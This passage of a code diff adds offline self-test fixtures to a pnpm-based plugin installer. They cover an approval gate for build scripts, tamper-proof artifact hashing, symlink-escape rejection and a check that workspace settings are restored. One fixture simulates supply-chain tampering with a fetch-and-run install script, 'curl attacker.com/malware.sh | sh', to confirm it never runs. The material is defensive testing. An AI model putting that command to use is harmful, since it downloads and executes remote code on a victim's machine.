shell: plan.shell,
|
|
866
1671
|
stdio: ["ignore", "pipe", "pipe"],
|
|
867
1672
|
windowsHide: true,
|
|
868
1673
|
});
|
|
869
|
-
current = proc;
|
|
1674
|
+
current = { proc, treeKill: plan.treeKill };
|
|
870
1675
|
const done = new Promise((resolve) => {
|
|
871
1676
|
proc.on("error", (error) => resolve({ spawnError: error }));
|
|
872
1677
|
proc.on("close", (exitCode) => resolve({ exitCode, signal: proc.signalCode }));
|
|
873
1678
|
}).then(async (outcome) => {
|
|
874
1679
|
if (outcome.spawnError !== undefined) {
|
|
875
|
-
// pnpm 缺失时先 corepack
|
|
876
|
-
//
|
|
877
|
-
// 把成功任务记成 failed)。
|
|
1680
|
+
// pnpm 缺失时先 corepack 自愈一次再重试(重试复用同一个队列内的
|
|
1681
|
+
// producer——若走 runRemove 重新排队会死锁——且必须返回它的 done
|
|
1682
|
+
// outcome,返回 producer 本体会让 tracker 把成功任务记成 failed)。
|
|
878
1683
|
if (outcome.spawnError.code === "ENOENT" && selfHealed !== true) {
|
|
879
1684
|
const healed = await enablePnpmViaCorepack(push);
|
|
880
|
-
if (healed) return await
|
|
1685
|
+
if (healed) return await runRemoveInner({ profile, packageName, _profileDir, _spawn }, true).done;
|
|
881
1686
|
}
|
|
882
1687
|
const hint = outcome.spawnError.code === "ENOENT"
|
|
883
1688
|
? "pnpm not found on PATH — install pnpm (e.g. `corepack enable pnpm`) to manage profile plugins"
|
|
@@ -890,18 +1695,24 @@ export function runRemove({ profile, packageName }, selfHealed = false) {
|
|
|
890
1695
|
if (outcome.exitCode !== 0) {
|
|
891
1696
|
return { status: "failed", detail: `pnpm remove ${packageName} failed (exit code ${outcome.exitCode}). See job output.` };
|
|
892
1697
|
}
|
|
893
|
-
|
|
894
|
-
|
|
895
|
-
|
|
896
|
-
|
|
897
|
-
|
|
898
|
-
|
|
1698
|
+
// 卸完后的对账(bundle 列表、client 行)抛错也必须落成 terminal failed,
|
|
1699
|
+
// 不能让 done 拒绝。
|
|
1700
|
+
try {
|
|
1701
|
+
const bundles = reconcileBundles(profileDir, beforeDeps);
|
|
1702
|
+
const clientRow = removeClientRow(profileDir, packageName);
|
|
1703
|
+
const notes = [`bundle layer(s) now: ${bundles.join(", ") || "none (template only)"}`];
|
|
1704
|
+
if (clientRow.removed) notes.push(`removed client loader row "${clientRow.rowId}" from cordis.patch.yml`);
|
|
1705
|
+
return { status: "completed", detail: `removed ${packageName} from profile "${profile}" — ${notes.join("; ")}. Restart dsh for the change to take effect.` };
|
|
1706
|
+
} catch (error) {
|
|
1707
|
+
return { status: "failed", detail: `pnpm removed ${packageName} but post-remove reconciliation failed: ${error?.message ?? String(error)}` };
|
|
1708
|
+
}
|
|
1709
|
+
}).catch((error) => ({ status: "failed", detail: `remove of ${packageName} hit an internal error: ${error?.message ?? String(error)}` }));
|
|
899
1710
|
proc.stdout?.on("data", (data) => push(data.toString()));
|
|
900
1711
|
proc.stderr?.on("data", (data) => push(data.toString()));
|
|
901
1712
|
|
|
902
1713
|
return {
|
|
903
1714
|
cancel: () => {
|
|
904
|
-
current
|
|
1715
|
+
cancelSpawned(current);
|
|
905
1716
|
},
|
|
906
1717
|
done,
|
|
907
1718
|
readOutput: () => {
|
|
@@ -1007,9 +1818,706 @@ function runAllowBuildsFixtures() {
|
|
|
1007
1818
|
return failed;
|
|
1008
1819
|
}
|
|
1009
1820
|
|
|
1821
|
+
// ── transaction fixtures (deterministic, offline) ───────────────────────────
|
|
1822
|
+
//
|
|
1823
|
+
// The findings these pin:
|
|
1824
|
+
// 1. pnpm exiting 0 while printing "Ignored build scripts" must NOT
|
|
1825
|
+
// finalize success — the approval gate applies to successful output too.
|
|
1826
|
+
// 2. An exception in finalizeSuccess must become a terminal failed outcome
|
|
1827
|
+
// WITH rollback — done resolves exactly once, never rejects.
|
|
1828
|
+
// 3. add/remove are serialized per profile; remove fails closed while a
|
|
1829
|
+
// pending marker exists; cancel while queued never spawns pnpm.
|
|
1830
|
+
// 4. The spawn plan resolves pnpm without a shell where possible, and a
|
|
1831
|
+
// cancelled install rolls back only after the process exited.
|
|
1832
|
+
// They drive runInstall/runRemove through the `_profileDir`/`_spawn`/
|
|
1833
|
+
// `_describe` seams against temp profiles (<tmp>/home/profiles/p), so no real
|
|
1834
|
+
// profile, pnpm, or network is involved.
|
|
1835
|
+
|
|
1836
|
+
/** Minimal fake ChildProcess: stdout/stderr emitters, kill(), manual finish. */
|
|
1837
|
+
class FakeProc extends EventEmitter {
|
|
1838
|
+
constructor() {
|
|
1839
|
+
super();
|
|
1840
|
+
this.stdout = new EventEmitter();
|
|
1841
|
+
this.stderr = new EventEmitter();
|
|
1842
|
+
this.pid = 424242;
|
|
1843
|
+
this.signalCode = null;
|
|
1844
|
+
}
|
|
1845
|
+
kill() {
|
|
1846
|
+
queueMicrotask(() => {
|
|
1847
|
+
this.signalCode = "SIGTERM";
|
|
1848
|
+
this.emit("close", null, "SIGTERM");
|
|
1849
|
+
});
|
|
1850
|
+
}
|
|
1851
|
+
finish(code, out = "") {
|
|
1852
|
+
queueMicrotask(() => {
|
|
1853
|
+
if (out.length > 0) this.stdout.emit("data", Buffer.from(out));
|
|
1854
|
+
this.emit("close", code);
|
|
1855
|
+
});
|
|
1856
|
+
}
|
|
1857
|
+
}
|
|
1858
|
+
|
|
1859
|
+
/** Spawn fake consuming scripted {code, out, beforeExit} steps; records calls. */
|
|
1860
|
+
function scriptedSpawn(steps) {
|
|
1861
|
+
const calls = [];
|
|
1862
|
+
const spawnFn = (command, args, options) => {
|
|
1863
|
+
calls.push({ command, args, options });
|
|
1864
|
+
const proc = new FakeProc();
|
|
1865
|
+
const step = steps[calls.length - 1];
|
|
1866
|
+
if (step === undefined) proc.finish(1, "unexpected extra spawn");
|
|
1867
|
+
else {
|
|
1868
|
+
step.beforeExit?.();
|
|
1869
|
+
proc.finish(step.code, step.out ?? "");
|
|
1870
|
+
}
|
|
1871
|
+
return proc;
|
|
1872
|
+
};
|
|
1873
|
+
return { spawnFn, calls };
|
|
1874
|
+
}
|
|
1875
|
+
|
|
1876
|
+
/** Spawn fake whose procs stay alive until the test finishes them. */
|
|
1877
|
+
function blockingSpawn() {
|
|
1878
|
+
const procs = [];
|
|
1879
|
+
const spawnFn = () => {
|
|
1880
|
+
const proc = new FakeProc();
|
|
1881
|
+
procs.push(proc);
|
|
1882
|
+
return proc;
|
|
1883
|
+
};
|
|
1884
|
+
return { spawnFn, procs };
|
|
1885
|
+
}
|
|
1886
|
+
|
|
1887
|
+
/** Temp profile at <tmp>/home/profiles/p — guard home resolves to <tmp>/home/guard. */
|
|
1888
|
+
function makeTempProfile(label, dependencies = {}) {
|
|
1889
|
+
const home = mkdtempSync(join(tmpdir(), `dsh-mall-selftest-${label}-`));
|
|
1890
|
+
const profileDir = join(home, "profiles", "p");
|
|
1891
|
+
mkdirSync(profileDir, { recursive: true });
|
|
1892
|
+
const manifest = JSON.stringify({ name: "p", dependencies }, undefined, 2) + "\n";
|
|
1893
|
+
writeFileSync(join(profileDir, "package.json"), manifest);
|
|
1894
|
+
return { home, profileDir, manifest, cleanup: () => rmSync(home, { recursive: true, force: true }) };
|
|
1895
|
+
}
|
|
1896
|
+
|
|
1897
|
+
function materializeFakePackage(profileDir, name, version = "1.0.0", scripts = {}, files = { "index.js": "module.exports = {};\n" }) {
|
|
1898
|
+
const pkgDir = join(profileDir, "node_modules", ...name.split("/"));
|
|
1899
|
+
mkdirSync(pkgDir, { recursive: true });
|
|
1900
|
+
const manifest = { name, version, scripts };
|
|
1901
|
+
writeFileSync(join(pkgDir, "package.json"), JSON.stringify(manifest, undefined, 2) + "\n");
|
|
1902
|
+
for (const [relPath, content] of Object.entries(files)) {
|
|
1903
|
+
const full = join(pkgDir, relPath);
|
|
1904
|
+
mkdirSync(dirname(full), { recursive: true });
|
|
1905
|
+
writeFileSync(full, content);
|
|
1906
|
+
}
|
|
1907
|
+
return pkgDir;
|
|
1908
|
+
}
|
|
1909
|
+
|
|
1910
|
+
const describeStub = async (missing) => missing.map((entry) => ({ ...entry, direct: true, scripts: {} }));
|
|
1911
|
+
|
|
1912
|
+
// 回滚校验要求 marker 能指认候选包(guard.js sanitizeSnapshot),生产环境由
|
|
1913
|
+
// preflight 报告带来;fixtures 给同名存根。
|
|
1914
|
+
const preflightStub = (name) => ({ candidate: { name } });
|
|
1915
|
+
|
|
1916
|
+
async function runTransactionFixtures() {
|
|
1917
|
+
let failed = 0;
|
|
1918
|
+
const check = (label, ok, extra) => {
|
|
1919
|
+
if (!ok) failed++;
|
|
1920
|
+
console.log(` ${ok ? "PASS" : "FAIL"} ${label}`);
|
|
1921
|
+
if (!ok && extra !== undefined) console.log(` ${extra}`);
|
|
1922
|
+
};
|
|
1923
|
+
const tick = () => new Promise((resolve) => setTimeout(resolve, 1));
|
|
1924
|
+
const flush = async (rounds = 5) => { for (let index = 0; index < rounds; index++) await tick(); };
|
|
1925
|
+
|
|
1926
|
+
// 0. hashPackageTree 确定性与符号链接越界防御
|
|
1927
|
+
{
|
|
1928
|
+
const tempDir = mkdtempSync(join(tmpdir(), "dsh-mall-selftest-hash-"));
|
|
1929
|
+
try {
|
|
1930
|
+
materializeFakePackage(tempDir, "test-pkg", "1.0.0", { postinstall: "node test.js" }, { "a.js": "const a = 1;\n", "b.js": "const b = 2;\n" });
|
|
1931
|
+
const pkgPath = join(tempDir, "node_modules", "test-pkg");
|
|
1932
|
+
const hash1 = hashPackageTree(pkgPath);
|
|
1933
|
+
const hash2 = hashPackageTree(pkgPath);
|
|
1934
|
+
check("hashPackageTree 确定性(内容不变哈希相同)", typeof hash1 === "string" && hash1.length === 64 && hash1 === hash2);
|
|
1935
|
+
|
|
1936
|
+
// 修改文件内容哈希改变
|
|
1937
|
+
writeFileSync(join(pkgPath, "a.js"), "const a = 999;\n");
|
|
1938
|
+
const hash3 = hashPackageTree(pkgPath);
|
|
1939
|
+
check("包内文件修改 → hashPackageTree 哈希变化", hash1 !== hash3);
|
|
1940
|
+
|
|
1941
|
+
// Bundled dependencies live below the package's own node_modules and
|
|
1942
|
+
// may contain lifecycle helpers/native loaders. They are artifact bytes,
|
|
1943
|
+
// not the profile's dependency tree, so changing them must invalidate
|
|
1944
|
+
// the approval proof as well.
|
|
1945
|
+
const bundledDir = join(pkgPath, "node_modules", "bundled-helper");
|
|
1946
|
+
mkdirSync(bundledDir, { recursive: true });
|
|
1947
|
+
writeFileSync(join(bundledDir, "package.json"), '{"name":"bundled-helper","version":"1.0.0"}\n');
|
|
1948
|
+
writeFileSync(join(bundledDir, "loader.js"), "safe();\n");
|
|
1949
|
+
const bundledHash1 = hashPackageTree(pkgPath);
|
|
1950
|
+
writeFileSync(join(bundledDir, "loader.js"), "malicious();\n");
|
|
1951
|
+
const bundledHash2 = hashPackageTree(pkgPath);
|
|
1952
|
+
check("包内 bundled node_modules 字节变化 → artifact hash 变化", bundledHash1 !== bundledHash2);
|
|
1953
|
+
|
|
1954
|
+
// 符号链接/Junction 越界防御
|
|
1955
|
+
const outsideDir = mkdtempSync(join(tmpdir(), "dsh-mall-outside-"));
|
|
1956
|
+
try {
|
|
1957
|
+
writeFileSync(join(outsideDir, "secret.txt"), "secret");
|
|
1958
|
+
let escapeDetected = false;
|
|
1959
|
+
try {
|
|
1960
|
+
const { symlinkSync } = await import("node:fs");
|
|
1961
|
+
try {
|
|
1962
|
+
symlinkSync(outsideDir, join(pkgPath, "link-outside-dir"), "junction");
|
|
1963
|
+
} catch {
|
|
1964
|
+
symlinkSync(join(outsideDir, "secret.txt"), join(pkgPath, "link-outside.txt"));
|
|
1965
|
+
}
|
|
1966
|
+
hashPackageTree(pkgPath);
|
|
1967
|
+
} catch (err) {
|
|
1968
|
+
escapeDetected = /symlink escape/.test(err.message);
|
|
1969
|
+
}
|
|
1970
|
+
check("hashPackageTree 符号链接越界防御(拒绝越界 symlink)", escapeDetected);
|
|
1971
|
+
} finally {
|
|
1972
|
+
rmSync(outsideDir, { recursive: true, force: true });
|
|
1973
|
+
}
|
|
1974
|
+
} finally {
|
|
1975
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
1976
|
+
}
|
|
1977
|
+
}
|
|
1978
|
+
|
|
1979
|
+
// 1a. exit 0 + "Ignored build scripts" 且未批准:必须停在批准闸(failed +
|
|
1980
|
+
// needsApproval),携带 proof,绝不 finalize,回滚收掉 marker,且只 spawn 一次。
|
|
1981
|
+
{
|
|
1982
|
+
const { profileDir, cleanup } = makeTempProfile("ignored-gate");
|
|
1983
|
+
try {
|
|
1984
|
+
materializeFakePackage(profileDir, "some-plugin", "1.0.0");
|
|
1985
|
+
materializeFakePackage(profileDir, "node-pty", "1.0.0", { install: "node install.js" });
|
|
1986
|
+
const { spawnFn, calls } = scriptedSpawn([{ code: 0, out: "Packages are cloned\nIgnored build scripts: node-pty@1.0.0\nDone\n" }]);
|
|
1987
|
+
const producer = runInstall({
|
|
1988
|
+
profile: "p",
|
|
1989
|
+
spec: "some-plugin",
|
|
1990
|
+
preflight: preflightStub("some-plugin"),
|
|
1991
|
+
_profileDir: profileDir,
|
|
1992
|
+
_spawn: spawnFn,
|
|
1993
|
+
// Deliberately stale/malicious registry data. The approval disclosure
|
|
1994
|
+
// must still use the manifest and bytes from the materialized tree.
|
|
1995
|
+
_describe: async () => [{
|
|
1996
|
+
name: "node-pty",
|
|
1997
|
+
version: "1.0.0",
|
|
1998
|
+
direct: true,
|
|
1999
|
+
scripts: { install: "registry lied" },
|
|
2000
|
+
contentHash: "0".repeat(64),
|
|
2001
|
+
weeklyDownloads: 123,
|
|
2002
|
+
}],
|
|
2003
|
+
});
|
|
2004
|
+
const outcome = await producer.done;
|
|
2005
|
+
check(
|
|
2006
|
+
"退出码 0 + Ignored build scripts(未批准)→ 停在批准闸,返回 proof,不 finalize",
|
|
2007
|
+
outcome.status === "failed"
|
|
2008
|
+
&& Array.isArray(outcome.needsApproval)
|
|
2009
|
+
&& outcome.needsApproval.some((entry) => entry.name === "node-pty")
|
|
2010
|
+
&& outcome.proof !== undefined
|
|
2011
|
+
&& outcome.proof.candidate.name === "some-plugin"
|
|
2012
|
+
&& outcome.proof.blockedPackages.some((e) => e.name === "node-pty")
|
|
2013
|
+
&& outcome.needsApproval.some((entry) => entry.name === "node-pty"
|
|
2014
|
+
&& entry.version === "1.0.0"
|
|
2015
|
+
&& entry.scripts?.install === "node install.js"
|
|
2016
|
+
&& entry.contentHash === outcome.proof.blockedPackages.find((proofEntry) => proofEntry.name === "node-pty")?.contentHash
|
|
2017
|
+
&& entry.contentHash !== "0".repeat(64)
|
|
2018
|
+
&& entry.weeklyDownloads === 123)
|
|
2019
|
+
&& calls.length === 1
|
|
2020
|
+
&& !existsSync(pendingMarkerPath(profileDir)),
|
|
2021
|
+
`status=${outcome.status} calls=${calls.length} marker=${existsSync(pendingMarkerPath(profileDir))}`,
|
|
2022
|
+
);
|
|
2023
|
+
const call = calls[0] ?? { args: [], options: {} };
|
|
2024
|
+
check(
|
|
2025
|
+
"实装 argv/env:strict-dep-builds + peer 关闭 + cwd/shell 正确",
|
|
2026
|
+
JSON.stringify(call.args) === JSON.stringify(liveAddArgs("some-plugin"))
|
|
2027
|
+
&& call.args.includes("--config.strict-dep-builds=true")
|
|
2028
|
+
&& call.args.includes("--config.auto-install-peers=false")
|
|
2029
|
+
&& call.options.env?.npm_config_strict_dep_builds === "true"
|
|
2030
|
+
&& call.options.env?.NPM_CONFIG_STRICT_DEP_BUILDS === "true"
|
|
2031
|
+
&& call.options.env?.npm_config_auto_install_peers === "false"
|
|
2032
|
+
&& call.options.cwd === profileDir
|
|
2033
|
+
&& call.options.shell === false,
|
|
2034
|
+
JSON.stringify({ args: call.args, shell: call.options?.shell, cwd: call.options?.cwd }),
|
|
2035
|
+
);
|
|
2036
|
+
} finally {
|
|
2037
|
+
cleanup();
|
|
2038
|
+
}
|
|
2039
|
+
}
|
|
2040
|
+
|
|
2041
|
+
// 1b. exit 0 + Ignored build scripts 且已点名批准 + approvedProof 匹配:
|
|
2042
|
+
// 写 allowBuilds 重试一次,重试输出干净才 finalize;成功后 workspace 原样还原,保留 pending marker。
|
|
2043
|
+
{
|
|
2044
|
+
const { profileDir, cleanup } = makeTempProfile("ignored-approved");
|
|
2045
|
+
try {
|
|
2046
|
+
const initialWs = "packages:\n - .\n\nnodeLinker: hoisted\n";
|
|
2047
|
+
writeFileSync(join(profileDir, "pnpm-workspace.yaml"), initialWs);
|
|
2048
|
+
materializeFakePackage(profileDir, "some-plugin", "1.0.0");
|
|
2049
|
+
materializeFakePackage(profileDir, "node-pty", "1.0.0", { install: "node install.js" });
|
|
2050
|
+
const approvedProof = computeMaterializedProof(profileDir, "some-plugin", [{ name: "node-pty", version: "1.0.0", selector: "node-pty@1.0.0" }]);
|
|
2051
|
+
|
|
2052
|
+
let temporaryApprovedWorkspace;
|
|
2053
|
+
const { spawnFn, calls } = scriptedSpawn([
|
|
2054
|
+
{ code: 0, out: "Ignored build scripts: node-pty@1.0.0\n" },
|
|
2055
|
+
{
|
|
2056
|
+
code: 0,
|
|
2057
|
+
out: "Done\n",
|
|
2058
|
+
beforeExit: () => {
|
|
2059
|
+
temporaryApprovedWorkspace = load(readFileSync(join(profileDir, "pnpm-workspace.yaml"), "utf8"));
|
|
2060
|
+
},
|
|
2061
|
+
},
|
|
2062
|
+
]);
|
|
2063
|
+
const producer = runInstall({
|
|
2064
|
+
profile: "p",
|
|
2065
|
+
spec: "some-plugin",
|
|
2066
|
+
allowBuildScripts: ["node-pty"],
|
|
2067
|
+
approvedProof,
|
|
2068
|
+
preflight: preflightStub("some-plugin"),
|
|
2069
|
+
_profileDir: profileDir,
|
|
2070
|
+
_spawn: spawnFn,
|
|
2071
|
+
_describe: describeStub,
|
|
2072
|
+
});
|
|
2073
|
+
const outcome = await producer.done;
|
|
2074
|
+
const finalWs = readFileSync(join(profileDir, "pnpm-workspace.yaml"), "utf8");
|
|
2075
|
+
check(
|
|
2076
|
+
"退出码 0 + Ignored build scripts(已批准+proof 匹配)→ 重试成功,workspace 字节还原(不残留 allowBuilds),marker 保留",
|
|
2077
|
+
outcome.status === "completed"
|
|
2078
|
+
&& calls.length === 2
|
|
2079
|
+
&& calls[1].args[0] === "rebuild"
|
|
2080
|
+
&& calls[1].args.includes("node-pty")
|
|
2081
|
+
&& !calls[1].args.includes("some-plugin")
|
|
2082
|
+
&& temporaryApprovedWorkspace?.allowBuilds?.["node-pty@1.0.0"] === true
|
|
2083
|
+
&& temporaryApprovedWorkspace?.dangerouslyAllowAllBuilds === false
|
|
2084
|
+
&& Array.isArray(temporaryApprovedWorkspace?.onlyBuiltDependencies)
|
|
2085
|
+
&& temporaryApprovedWorkspace.onlyBuiltDependencies.length === 0
|
|
2086
|
+
&& finalWs === initialWs
|
|
2087
|
+
&& existsSync(pendingMarkerPath(profileDir)),
|
|
2088
|
+
`status=${outcome.status} calls=${calls.length} finalWs=${JSON.stringify(finalWs)} marker=${existsSync(pendingMarkerPath(profileDir))}`,
|
|
2089
|
+
);
|
|
2090
|
+
} finally {
|
|
2091
|
+
cleanup();
|
|
2092
|
+
}
|
|
2093
|
+
}
|
|
2094
|
+
|
|
2095
|
+
// 1c. 攻击防御:批准后修改 postinstall / 文件内容 → retry 时 proof 校验失败,绝不重试并回滚
|
|
2096
|
+
{
|
|
2097
|
+
const { profileDir, cleanup } = makeTempProfile("attack-tampered-proof");
|
|
2098
|
+
try {
|
|
2099
|
+
const initialWs = "packages:\n - .\n\nnodeLinker: hoisted\n";
|
|
2100
|
+
writeFileSync(join(profileDir, "pnpm-workspace.yaml"), initialWs);
|
|
2101
|
+
materializeFakePackage(profileDir, "some-plugin", "1.0.0");
|
|
2102
|
+
materializeFakePackage(profileDir, "node-pty", "1.0.0", { install: "node safe-install.js" });
|
|
2103
|
+
const originalProof = computeMaterializedProof(profileDir, "some-plugin", [{ name: "node-pty", version: "1.0.0", selector: "node-pty@1.0.0" }]);
|
|
2104
|
+
|
|
2105
|
+
// 模拟攻击者在审批之后篡改了 node-pty 的 install 脚本和文件
|
|
2106
|
+
materializeFakePackage(profileDir, "node-pty", "1.0.0", { install: "curl attacker.com/malware.sh | sh" }, { "malware.js": "evil();\n" });
|
|
2107
|
+
|
|
2108
|
+
const maliciousRan = join(profileDir, "MALICIOUS_RAN");
|
|
2109
|
+
const { spawnFn, calls } = scriptedSpawn([
|
|
2110
|
+
{ code: 0, out: "Ignored build scripts: node-pty@1.0.0\n" },
|
|
2111
|
+
{ code: 0, out: "Done\n", beforeExit: () => writeFileSync(maliciousRan, "bad\n") },
|
|
2112
|
+
]);
|
|
2113
|
+
const producer = runInstall({
|
|
2114
|
+
profile: "p",
|
|
2115
|
+
spec: "file:../same-mutable-plugin",
|
|
2116
|
+
allowBuildScripts: ["node-pty"],
|
|
2117
|
+
approvedProof: originalProof,
|
|
2118
|
+
preflight: preflightStub("some-plugin"),
|
|
2119
|
+
_profileDir: profileDir,
|
|
2120
|
+
_spawn: spawnFn,
|
|
2121
|
+
_describe: describeStub,
|
|
2122
|
+
});
|
|
2123
|
+
const outcome = await producer.done;
|
|
2124
|
+
const finalWs = readFileSync(join(profileDir, "pnpm-workspace.yaml"), "utf8");
|
|
2125
|
+
check(
|
|
2126
|
+
"攻击防御:同名包篡改脚本/内容后重试 → proof 不匹配立即拒绝,不触发二次 spawn,workspace/profile 回滚",
|
|
2127
|
+
outcome.status === "failed"
|
|
2128
|
+
&& /security verification failed/.test(outcome.detail ?? "")
|
|
2129
|
+
&& calls.length === 1
|
|
2130
|
+
&& !existsSync(maliciousRan)
|
|
2131
|
+
&& finalWs === initialWs
|
|
2132
|
+
&& !existsSync(pendingMarkerPath(profileDir)),
|
|
2133
|
+
`status=${outcome.status} calls=${calls.length} detail=${outcome.detail}`,
|
|
2134
|
+
);
|
|
2135
|
+
} finally {
|
|
2136
|
+
cleanup();
|
|
2137
|
+
}
|
|
2138
|
+
}
|
|
2139
|
+
|
|
2140
|
+
// 1d. 攻击防御:profile 预先存在的 allowBuilds: true 无法绕过首次审批警告
|
|
2141
|
+
{
|
|
2142
|
+
const { profileDir, cleanup } = makeTempProfile("bypass-preexisting-allow");
|
|
2143
|
+
try {
|
|
2144
|
+
const initialWs = "packages:\n - .\n\nallowBuilds:\n evil-script-pkg: true\nonlyBuiltDependencies:\n - evil-script-pkg\ndangerouslyAllowAllBuilds: true\n\nnodeLinker: hoisted\n";
|
|
2145
|
+
writeFileSync(join(profileDir, "pnpm-workspace.yaml"), initialWs);
|
|
2146
|
+
materializeFakePackage(profileDir, "some-plugin", "1.0.0");
|
|
2147
|
+
materializeFakePackage(profileDir, "evil-script-pkg", "1.0.0", { postinstall: "node evil.js" });
|
|
2148
|
+
|
|
2149
|
+
let firstProbeWorkspace;
|
|
2150
|
+
const { spawnFn, calls } = scriptedSpawn([
|
|
2151
|
+
{
|
|
2152
|
+
code: 0,
|
|
2153
|
+
out: "Ignored build scripts: evil-script-pkg@1.0.0\n",
|
|
2154
|
+
beforeExit: () => {
|
|
2155
|
+
firstProbeWorkspace = load(readFileSync(join(profileDir, "pnpm-workspace.yaml"), "utf8"));
|
|
2156
|
+
},
|
|
2157
|
+
},
|
|
2158
|
+
]);
|
|
2159
|
+
const producer = runInstall({
|
|
2160
|
+
profile: "p",
|
|
2161
|
+
spec: "some-plugin",
|
|
2162
|
+
preflight: preflightStub("some-plugin"),
|
|
2163
|
+
_profileDir: profileDir,
|
|
2164
|
+
_spawn: spawnFn,
|
|
2165
|
+
_describe: describeStub,
|
|
2166
|
+
});
|
|
2167
|
+
const outcome = await producer.done;
|
|
2168
|
+
const finalWs = readFileSync(join(profileDir, "pnpm-workspace.yaml"), "utf8");
|
|
2169
|
+
check(
|
|
2170
|
+
"攻击防御:预先存在的 allowBuilds 在首轮被中和 → 依然触发审批闸,且事后恢复用户原本的 workspace 字节",
|
|
2171
|
+
outcome.status === "failed"
|
|
2172
|
+
&& Array.isArray(outcome.needsApproval)
|
|
2173
|
+
&& outcome.needsApproval.some((e) => e.name === "evil-script-pkg")
|
|
2174
|
+
&& calls.length === 1
|
|
2175
|
+
&& Object.keys(firstProbeWorkspace?.allowBuilds ?? {}).length === 0
|
|
2176
|
+
&& Array.isArray(firstProbeWorkspace?.onlyBuiltDependencies)
|
|
2177
|
+
&& firstProbeWorkspace.onlyBuiltDependencies.length === 0
|
|
2178
|
+
&& firstProbeWorkspace?.dangerouslyAllowAllBuilds === false
|
|
2179
|
+
&& finalWs === initialWs,
|
|
2180
|
+
`status=${outcome.status} calls=${calls.length} finalWs=${JSON.stringify(finalWs)}`,
|
|
2181
|
+
);
|
|
2182
|
+
} finally {
|
|
2183
|
+
cleanup();
|
|
2184
|
+
}
|
|
2185
|
+
}
|
|
2186
|
+
|
|
2187
|
+
// 1d-2. package.json can carry the same build authorization independently
|
|
2188
|
+
// of pnpm-workspace.yaml. Refuse every known positive form before spawning.
|
|
2189
|
+
{
|
|
2190
|
+
const policies = [
|
|
2191
|
+
{ pnpm: { allowBuilds: { "evil-script-pkg": true } } },
|
|
2192
|
+
{ pnpm: { onlyBuiltDependencies: ["evil-script-pkg"] } },
|
|
2193
|
+
{ pnpm: { dangerouslyAllowAllBuilds: true } },
|
|
2194
|
+
{ dependenciesMeta: { "evil-script-pkg": { built: true } } },
|
|
2195
|
+
];
|
|
2196
|
+
let allRejected = true;
|
|
2197
|
+
const details = [];
|
|
2198
|
+
for (let index = 0; index < policies.length; index++) {
|
|
2199
|
+
const { profileDir, cleanup } = makeTempProfile(`manifest-preauth-${index}`);
|
|
2200
|
+
try {
|
|
2201
|
+
const manifest = { name: "p", dependencies: {}, ...policies[index] };
|
|
2202
|
+
writeFileSync(join(profileDir, "package.json"), JSON.stringify(manifest, undefined, 2) + "\n");
|
|
2203
|
+
const { spawnFn, calls } = scriptedSpawn([]);
|
|
2204
|
+
const outcome = await runInstall({
|
|
2205
|
+
profile: "p",
|
|
2206
|
+
spec: "some-plugin",
|
|
2207
|
+
preflight: preflightStub("some-plugin"),
|
|
2208
|
+
_profileDir: profileDir,
|
|
2209
|
+
_spawn: spawnFn,
|
|
2210
|
+
}).done;
|
|
2211
|
+
const rejected = outcome.status === "failed"
|
|
2212
|
+
&& /pre-authorizes|would bypass/.test(outcome.detail ?? "")
|
|
2213
|
+
&& calls.length === 0
|
|
2214
|
+
&& !existsSync(pendingMarkerPath(profileDir));
|
|
2215
|
+
allRejected &&= rejected;
|
|
2216
|
+
if (!rejected) details.push(`${index}:${outcome.status}:${outcome.detail}:calls=${calls.length}`);
|
|
2217
|
+
} finally {
|
|
2218
|
+
cleanup();
|
|
2219
|
+
}
|
|
2220
|
+
}
|
|
2221
|
+
check("package.json 四种预授权策略均在 pnpm spawn 前 fail closed", allRejected, details.join(" | "));
|
|
2222
|
+
}
|
|
2223
|
+
|
|
2224
|
+
// 1e. 无论是安装失败、重试失败还是成功,workspace 原始字节均完整还原(不破坏用户已有策略)
|
|
2225
|
+
{
|
|
2226
|
+
const { profileDir, cleanup } = makeTempProfile("ws-restore-on-failure");
|
|
2227
|
+
try {
|
|
2228
|
+
const userCustomWs = "packages:\n - .\n\nallowBuilds:\n user-custom-tool: true\n";
|
|
2229
|
+
writeFileSync(join(profileDir, "pnpm-workspace.yaml"), userCustomWs);
|
|
2230
|
+
materializeFakePackage(profileDir, "some-plugin", "1.0.0");
|
|
2231
|
+
materializeFakePackage(profileDir, "node-pty", "1.0.0", { install: "node install.js" });
|
|
2232
|
+
const approvedProof = computeMaterializedProof(profileDir, "some-plugin", [{ name: "node-pty", version: "1.0.0", selector: "node-pty@1.0.0" }]);
|
|
2233
|
+
|
|
2234
|
+
// 重试执行失败
|
|
2235
|
+
const { spawnFn, calls } = scriptedSpawn([
|
|
2236
|
+
{ code: 0, out: "Ignored build scripts: node-pty@1.0.0\n" },
|
|
2237
|
+
{ code: 1, out: "Build error\n" },
|
|
2238
|
+
]);
|
|
2239
|
+
const producer = runInstall({
|
|
2240
|
+
profile: "p",
|
|
2241
|
+
spec: "some-plugin",
|
|
2242
|
+
allowBuildScripts: ["node-pty"],
|
|
2243
|
+
approvedProof,
|
|
2244
|
+
preflight: preflightStub("some-plugin"),
|
|
2245
|
+
_profileDir: profileDir,
|
|
2246
|
+
_spawn: spawnFn,
|
|
2247
|
+
_describe: describeStub,
|
|
2248
|
+
});
|
|
2249
|
+
const outcome = await producer.done;
|
|
2250
|
+
const finalWs = readFileSync(join(profileDir, "pnpm-workspace.yaml"), "utf8");
|
|
2251
|
+
check(
|
|
2252
|
+
"重试执行失败 → workspace 依然完整恢复用户的 user-custom-tool 策略",
|
|
2253
|
+
outcome.status === "failed" && calls.length === 2 && finalWs === userCustomWs,
|
|
2254
|
+
`status=${outcome.status} calls=${calls.length} detail=${JSON.stringify(outcome.detail)} finalWs=${JSON.stringify(finalWs)}`,
|
|
2255
|
+
);
|
|
2256
|
+
} finally {
|
|
2257
|
+
cleanup();
|
|
2258
|
+
}
|
|
2259
|
+
}
|
|
2260
|
+
|
|
2261
|
+
|
|
2262
|
+
// 1f. Even when an approved rebuild itself succeeds, inability to put the
|
|
2263
|
+
// user's exact workspace bytes back is terminal and forces snapshot rollback.
|
|
2264
|
+
{
|
|
2265
|
+
const { profileDir, manifest, cleanup } = makeTempProfile("ws-restore-hard-fail");
|
|
2266
|
+
try {
|
|
2267
|
+
const initialWs = "packages:\n - .\n\nnodeLinker: hoisted\n";
|
|
2268
|
+
writeFileSync(join(profileDir, "pnpm-workspace.yaml"), initialWs);
|
|
2269
|
+
materializeFakePackage(profileDir, "some-plugin", "1.0.0");
|
|
2270
|
+
